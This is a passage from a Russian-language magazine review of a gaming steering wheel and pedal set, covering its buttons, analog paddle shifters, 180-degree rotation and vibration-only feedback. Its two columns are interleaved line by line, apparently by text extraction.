ральной широкой спице расположе- |
вращении. Угол поворота руля огра- |
|
ны шесть программируемых кнопок, |
ничен 180 градусами, что не пока- |
|
но функцию переключения передач |
жется шикарным любителям авто. |
|
лучше подвесить на рулевые кноп- |
Как таковой, обратной связи нет. |
|
ки. Приятно удивили подрулевые пе- |
Два вибромоторчика имитируют |
|
реключатели-лепестки, они дублиру- |
дрожание руля при смене дорожно- |
|
ют педали газа и тормоза и являют- |
го покрытия или столкновениях, но |
|
ся аналоговыми, то есть можно, не |
абсолютно не оказывают сопротив- |
|
подключая педальный узел, плавно |
ления. Педали довольно чувстви- |
|
регулировать торможение и ускоре- |
тельные и имеют достаточную длину |
|
ние транспортного средства. Сам |
хода, но упругости не хватает — по- |
|
блок имеет большую площадку для |
ложить ногу и нажимать при необхо- |
|
ног, а ход педалей можно назвать |
димости не получится. |